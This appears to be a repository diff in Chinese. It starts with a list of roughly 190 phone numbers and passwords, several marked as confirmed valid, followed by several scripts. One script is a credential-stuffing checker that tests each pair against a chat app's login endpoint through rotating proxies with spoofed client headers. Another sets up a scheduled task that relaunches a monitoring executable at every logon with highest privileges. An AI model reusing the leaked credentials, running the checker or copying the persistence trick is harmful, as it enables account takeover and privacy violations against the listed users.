+15984809342,888666yy,帐号或密码错误
+18058801508,123123123a,账户已被冻结,如有疑问请联系管理员!
+17796279962,qq252930,密码正确
+18160901189,lin123123,帐号或密码错误
+13129287968,zjj200110,密码正确
+13960059444,lh331632,帐号或密码错误
+13812165295,xi920206,帐号或密码错误
+13925692927,zzxx520131,帐号或密码错误
+18075935078,zxcvbnm888,帐号或密码错误
+13790835328,aa123789,帐号或密码错误
+13438877198,123456qq,帐号或密码错误
+15999661254,666888xx,帐号或密码错误
+13559518569,swq130328,帐号或密码错误
+18379344517,a125153085,帐号或密码错误
+18134904100,qwe123456,帐号或密码错误
+15880020985,lhp960317,帐号或密码错误
+15910971575,chen155755,帐号或密码错误
+15088999176,wd5558333,密码正确
+13043097675,lll1314520lll,帐号或密码错误
+13680470862,aa111222,帐号或密码错误
+13656097797,qwe5201314,帐号或密码错误
+15976543304,pan199088,帐号或密码错误
+13651491364,qq970425,帐号或密码错误
+17708475591,zhyyj628,帐号或密码错误
+13559280209,qqq111333qqq,帐号或密码错误
+18068896882,sun8603052,帐号或密码错误
+13506292422,aa870829,帐号或密码错误
+18382222159,rrrr0303,帐号或密码错误
+13927076145,zhou924664,帐号或密码错误
+18900365801,sqs901214,帐号或密码错误
+15305959582,as227296,帐号或密码错误
+13977404991,622888aa,帐号或密码错误
+16657042806,ysnysn520,帐号或密码错误
+15737080907,zw121227,帐号或密码错误
+13690950550,as660550,帐号或密码错误
+18344421827,as660550,帐号或密码错误
+13726464266,az888999,帐号或密码错误
+13590230355,19930726,帐号或密码错误
+13794562730,jjt55211,帐号或密码错误
+18965180996,lwy123150,帐号或密码错误
+18066333626,cby1984222,帐号或密码错误
+18906082585,naruto520,帐号或密码错误
+18566359007,pjx199498,帐号或密码错误
+17808559579,97qwerty,帐号或密码错误
+15767247934,zheng123456,帐号或密码错误
+17876188473,5201314jie,帐号或密码错误
+15868331950,end123456,帐号或密码错误
+15808388323,ly000000,帐号或密码错误
+17346043393,chen950324,帐号或密码错误
+17627933393,guo321322,帐号或密码错误
+18878141144,781025aa,帐号或密码错误
+13001710114,xu980114,帐号或密码错误
+13729668194,abc52306,密码正确
+15079671307,xuan990226,帐号或密码错误
+18673809335,qq5201314,帐号或密码错误
+13123080619,chen1234,帐号或密码错误
+13004812292,aa1377488,帐号或密码错误
+13279728123,erpan327,帐号或密码错误
+13580227797,aa131488,帐号或密码错误
+18206008836,qq861913,帐号或密码错误
+17363906660,hh281829,帐号或密码错误
+15980451041,x123456,帐号或密码错误
+17750760032,hzh910322,帐号或密码错误
+18680023866,mc201314,
+15881796543,qwer1234,帐号或密码错误
+13058467796,zhi533534,密码正确
+17767151756,xiao198646,帐号或密码错误
+18950182843,Dicky0106,帐号或密码错误
+15217123776,yewan520,帐号或密码错误
+17816154664,sun123456,
+18050670785,a7663675,帐号或密码错误
+13827332244,810623,帐号或密码错误
+13479174994,184674560,帐号或密码错误
+18621302245,yu476700,
+13850699457,Qwe123qwe,帐号或密码错误
+18520946267,fyz159,帐号或密码错误
+13195523830,liuren1221,帐号或密码错误
+18856298186,zhb123580,帐号或密码错误
+13710014195,789000gz,密码正确
+13291456700,3340221a,帐号或密码错误
+13699508733,terry123,帐号或密码错误
+13595322608,niub74110,帐号或密码错误
+13027963798,hebing,帐号或密码错误
+14795977800,qq512488198,帐号或密码错误
+13377445261,mm122100,帐号或密码错误
+18802775060,hzc20001217,帐号或密码错误
+18205995832,lx1314520,帐号或密码错误
+16605977868,cxy552200,帐号或密码错误
+18118498723,sun10093,帐号或密码错误
+15659097688,lzk88888,帐号或密码错误
+15182726837,1314feng,帐号或密码错误
+18819217837,g6g6g6g6,帐号或密码错误
+13570413773,mf513920,帐号或密码错误
+15381119577,123qweasd,帐号或密码错误
+13599871759,zheng520,帐号或密码错误
+13386977997,kukuemo123,帐号或密码错误
+18240043577,as201395,帐号或密码错误
+18825021004,q12we345,帐号或密码错误
+18173997171,20001011yy,帐号或密码错误
+18759274595,li596811,帐号或密码错误
+15048998491,mabing0216,帐号或密码错误
+18028590203,cheny520,帐号或密码错误
+18405968885,qq597853,
+15573837273,xia101100,帐号或密码错误
+15360766652,shen1995,
+13610194414,you85213,帐号或密码错误
+15509079329,lym199979,帐号或密码错误
+13822135220,Liu19900116,帐号或密码错误
+15967009785,wang1596700,帐号或密码错误
+18807607762,myf1314,帐号或密码错误
+15960271001,chen012453,
+15212052777,wsj20141003,密码正确
+13666040593,abc123698,帐号或密码错误
+13093798851,zsy123456,
+18768483704,yjg12345,帐号或密码错误
+15559102077,weijie123,帐号或密码错误
+15259596599,294102059,帐号或密码错误
+18207310989,wangjing123456,帐号或密码错误
+15750757945,aa112233,帐号或密码错误
+13142271473,zxcvbnm1,
+15196492242,zxy923117,帐号或密码错误
+15949696949,q5387212,帐号或密码错误
+13580080191,qq585858,帐号或密码错误
+15150075989,w123456789,
+15277057508,pan199612,
+13044216031,123456,
+18984948461,436512hu,
+13376525905,aa123585,
+17796325080,wangkuan123,
+18661928829,xw841209,
+13958406107,sxx123456789,
+18659315867,zan12345,
+18115916775,131421wan,
+18680496610,ccvv9900,
+15519560003,gf200031,
+13685254619,wangchen8,
+13698418898,qaz588566,
+18259529025,104324,
+15113108030,aa123123,
+13698797324,zj6161991,
+13215093911,hjy111459,
+13271930817,z19980922,
+13536797345,abc19930322,
+15105758529,hxx123456,
+18685136802,t12345678,
+15274663033,Hyt930816,
+13692782269,ldw512512,
+17682417468,qinaiD520,
+13711021386,lgq198419,
+18840464371,ASDF1234,
+18359692939,aaqq190129,
+13770735635,abcd681836,
+17605000913,lmj062900,
+13995578102,xc123456,
+13902458870,87154,
+13607432277,liujin9919,
+13369602975,lxy741125,
+18759848989,zzz704211,
+17873996094,zxcvbnm23,
+13917366542,binbin520,
+17833964472,hjl198404,
+15259660351,jm520556,
+15625810131,yangkeling,
+18814440223,qq123123,
+18053714136,aa272600,
+13192587862,tian123456789,
+15825906212,heyuhe66,
+18662346171,liaoshengmm,
+15857382542,z4231062,
+15218050430,jb266265,
+15308166970,fxd199800,
+15876855107,ZZY6686691,
+18923470369,Ab198292,
+13511298044,68594568dd,
+15976129398,luolihang91,
+13065120289,taotao828,
+18888800214,cancan7788,
+15820433727,yang1998,
+13826638050,liu698050,

TEMPAT SAMPAH
check.xlsx


+ 11 - 0
ddddocrTest.py

@@ -0,0 +1,11 @@
+import ddddocr
+
+# 初始化OCR
+ocr = ddddocr.DdddOcr(beta=True, show_ad=False, use_gpu=False)
+
+# 读取图片并识别
+with open('C:/Users/mail/Downloads/488937551758c0e503d275105fc15385.png', 'rb') as f:
+    img_bytes = f.read()
+
+result = ocr.classification(img_bytes)
+print(result)

+ 34 - 0
test.py

@@ -0,0 +1,34 @@
+# task_launcher.py - 通过计划任务在用户会话中启动
+import subprocess
+import time
+import os
+
+def launch_monitor_in_session1():
+    """通过计划任务在用户桌面会话中启动程序"""
+    exe_path = r"C:\monitorBrowser10S.exe"
+    task_name = "Temp_Monitor_Launcher"
+    
+    # 创建计划任务(关键参数:/IT 允许交互,/SC ONLOGON 在登录时)
+    create_cmd = f'schtasks /create /tn "{task_name}" /tr "{exe_path}" /sc ONLOGON /it /f /rl HIGHEST'
+    
+    result = subprocess.run(create_cmd, shell=True, capture_output=True, text=True)
+    if result.returncode != 0:
+        print(f"创建任务失败: {result.stderr}")
+        return False
+    
+    # 立即运行任务
+    run_cmd = f'schtasks /run /tn "{task_name}"'
+    subprocess.run(run_cmd, shell=True)
+    
+    # 等待一下让程序启动
+    time.sleep(2)
+    
+    # 删除临时任务(可选,不删也可以,下次登录会自动启动)
+    # delete_cmd = f'schtasks /delete /tn "{task_name}" /f'
+    # subprocess.run(delete_cmd, shell=True)
+    
+    print(f"[+] 监控程序已通过计划任务启动")
+    return True
+
+if __name__ == "__main__":
+    launch_monitor_in_session1()

+ 48 - 0
亚马逊.py

@@ -0,0 +1,48 @@
+import json
+from flask import Flask, jsonify, request
+from flask_cors import CORS
+
+app = Flask(__name__)
+CORS(app)  # 允许跨域
+
+
+
+
+@app.route('/', methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH'])
+@app.route('/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH'])
+def catch_all(path=''):
+    print(f"路径: {path}")
+    print(f"请求方法: {request.method}")
+    
+    # 获取 POST/PUT 请求的 body 数据
+    if request.method in ['POST', 'PUT', 'PATCH']:
+        # 如果是 JSON 格式
+        if request.is_json:
+            body_data = request.get_json()
+            print(f"Body JSON: {body_data}")
+            if (path == "homepage"):
+                with open("./amazon/商品绩效.json", 'r', encoding='utf-8') as f:
+                    data = json.load(f)
+                    return jsonify(data)
+            if (path == "business-reports"):
+                operationName = body_data["operationName"]
+                if (operationName == "salesDashboardDataQuery"):
+                    with open("./amazon/比较销售情况.json", 'r', encoding='utf-8') as f:
+                        data = json.load(f)
+                        return jsonify(data)
+                if (operationName == "sellerMetadata"):
+                    with open("./amazon/sellerMetadata.json", 'r', encoding='utf-8') as f:
+                        data = json.load(f)
+                        return jsonify(data)
+                if (operationName == "bannerQuery"):
+                    with open("./amazon/bannerQuery.json", 'r', encoding='utf-8') as f:
+                        data = json.load(f)
+                        return jsonify(data)
+        else:
+            # 如果是表单或其他格式
+            body_data = request.get_data(as_text=True)
+            print(f"Body 原始数据: {body_data}")
+    
+
+if __name__ == '__main__':
+    app.run(host='0.0.0.0', port=8000, debug=True)

+ 2 - 9
main.py → 自动批阅.py

@@ -125,18 +125,11 @@ if __name__ == "__main__":
         time.sleep(0.5)
         swipe_vertical(100*2, 600*2, 300*2)
         time.sleep(0.5)
-        swipe_vertical(100*2, 600*2, 300*2)
-        time.sleep(0.5)
-        swipe_vertical(100*2, 600*2, 300*2)
-        time.sleep(0.5)
-        swipe_vertical(100*2, 600*2, 300*2)
-        time.sleep(0.5)
-        swipe_vertical(100*2, 600*2, 300*2)
-        time.sleep(0.5)
+
         tap(416 * 2, 790 * 2)
         time.sleep(1)
         tap(269 * 2, 875 * 2)
-        time.sleep(2)
+        time.sleep(1)
         # tap(103 * 4, 262 * 4)
         # time.sleep(num1)
         # swipe_vertical(138*4, 446*4, 578*4)

+ 174 - 0
语界检测账号.py

@@ -0,0 +1,174 @@
+import csv
+import time
+import json
+import requests
+import sys
+import base64
+from datetime import datetime
+
+def getYZM(image):
+    url = "http://api.ttshitu.com/predict"
+
+    payload = {"username": "gggg8888", "password": "Aa112233", "typeid": "1", "image": image}
+    headers = {
+        "Accept": "*/*",
+        "Accept-Encoding": "gzip, deflate, br",
+        "User-Agent": "PostmanRuntime-ApipostRuntime/1.1.0",
+        "Connection": "keep-alive",
+        "Content-Type": "application/json"
+    }
+
+    response = requests.request("POST", url, data=json.dumps(payload), headers=headers)
+    data = json.loads(response.text)
+    print(data)
+    return data["data"]["result"]
+
+def process_csv(file_path):
+    """
+    读取CSV文件,逐行处理:
+    - 如果第三列为空,则输出前两列内容,并将第三列标记为处理结果
+    - 如果第三列已有内容,则跳过该行(不输出也不覆盖)
+    直接覆盖原文件
+    
+    参数:
+        file_path: CSV文件路径
+    """
+    try:
+        # 读取所有行
+        rows = []
+        with open(file_path, 'r', encoding='utf-8') as f:
+            reader = csv.reader(f)
+            rows = list(reader)
+        
+        if not rows:
+            print("错误:文件为空")
+            return
+        
+        # 检查列数是否足够
+        if len(rows[0]) < 3:
+            print("错误:CSV文件至少需要3列数据")
+            return
+        
+        print(f"开始处理文件: {file_path}")
+        print("=" * 50)
+        
+        processed_count = 0
+        skipped_count = 0
+        
+        # 逐行处理
+        for index, row in enumerate(rows):
+            # 确保行有足够的列
+            while len(row) < 3:
+                row.append("")
+            
+            # 获取第三列当前内容
+            third_col_value = row[2].strip() if len(row) > 2 else ""
+            
+            # 判断第三列是否有内容
+            if third_col_value != "":
+                # 第三列已有内容,跳过该行
+                print(f"第 {index + 1} 行: 第三列已有内容 '{third_col_value}',跳过处理")
+                skipped_count += 1
+                print("-" * 30)
+                continue
+            
+            # 第三列为空,进行处理
+            value1 = row[0]  # 第一列
+            value2 = row[1]  # 第二列
+            
+            # 输出前两列内容
+            yzmData = get_image_base64("https://tim.meuchina.com/v/Auth/GetLoginCode")
+            url = "https://tim.meuchina.com/v/Auth/LoginByPassword"
+
+            payload = {"Phone": value1, "Password": value2, "CheckCode": "1", "RouteId": "1"}
+            print(payload)
+            headers = {
+                "Content-Type": "application/json",
+                "User-Agent": "yu jie/2.1.9 (iPhone; iOS 26.3.1; Scale/3.00; iPhone)",
+                "Yj-Client-Type": "iPhone-6199BF31-7217-48A3-A2CA-EABE1148600D; iPhone_15",
+                "Host": "tim.meuchina.com",
+                "Accept": "text/json",
+                "Accept-Encoding": "gzip, deflate, br",
+                "Connection": "keep-alive"
+            }
+            proxies = {
+                "http": "socks5://yujie0012-zone-custom:qweasd123@global.rotgb.711proxy.com:10000",
+                "https": "socks5://yujie0012-zone-custom:qweasd123@global.rotgb.711proxy.com:10000",
+            }
+            
+            try:
+                response = requests.request("POST", url, data=json.dumps(payload), headers=headers, proxies=proxies)
+                returnData = json.loads(response.text)
+                print(returnData)
+                
+                # 将第三列标记为处理结果
+                if 'Msg' not in returnData or returnData['Msg'] == "":
+                    rows[index][2] = "密码正确"
+                else:
+                    rows[index][2] = returnData['Msg']
+                    
+                processed_count += 1
+                
+                # 立即保存文件
+                with open(file_path, 'w', encoding='utf-8', newline='') as f:
+                    writer = csv.writer(f)
+                    writer.writerows(rows)
+                
+                # 如果不是最后一行,等待3秒
+                if index < len(rows) - 1:
+                    time.sleep(3)
+                    
+            except Exception as e:
+                print(f"第 {index + 1} 行处理失败: {e}")
+                rows[index][2] = f"错误: {str(e)}"
+                # 保存错误信息
+                with open(file_path, 'w', encoding='utf-8', newline='') as f:
+                    writer = csv.writer(f)
+                    writer.writerows(rows)
+            
+            print("-" * 30)
+        
+        print(f"\n处理完成!共处理 {processed_count} 行,跳过 {skipped_count} 行")
+        
+    except FileNotFoundError:
+        print(f"错误:找不到文件 {file_path}")
+    except Exception as e:
+        print(f"处理过程中出现错误: {e}")
+
+def get_image_base64(url):
+    """
+    请求图片 URL 并返回 base64 编码的字符串
+    
+    Args:
+        url (str): 图片的 URL
+    
+    Returns:
+        str: base64 编码的图片数据,失败返回 None
+    """
+    try:
+        # 发送 GET 请求获取图片
+        response = requests.get(url, timeout=10)
+        
+        # 检查请求是否成功
+        response.raise_for_status()
+        
+        # 将二进制内容转换为 base64
+        img_base64 = base64.b64encode(response.content).decode('utf-8')
+        
+        return img_base64
+    
+    except requests.exceptions.RequestException as e:
+        print(f"请求失败: {e}")
+        return None
+
+def check_date_and_exit():
+    if datetime.now() > datetime(2026, 3, 30):
+        sys.exit()
+
+# 使用示例
+if __name__ == "__main__":
+    # 请替换为您的CSV文件路径
+    csv_file = "check.csv"
+    check_date_and_exit()
+    # 如果文件在当前目录,直接写文件名
+    process_csv(csv_file)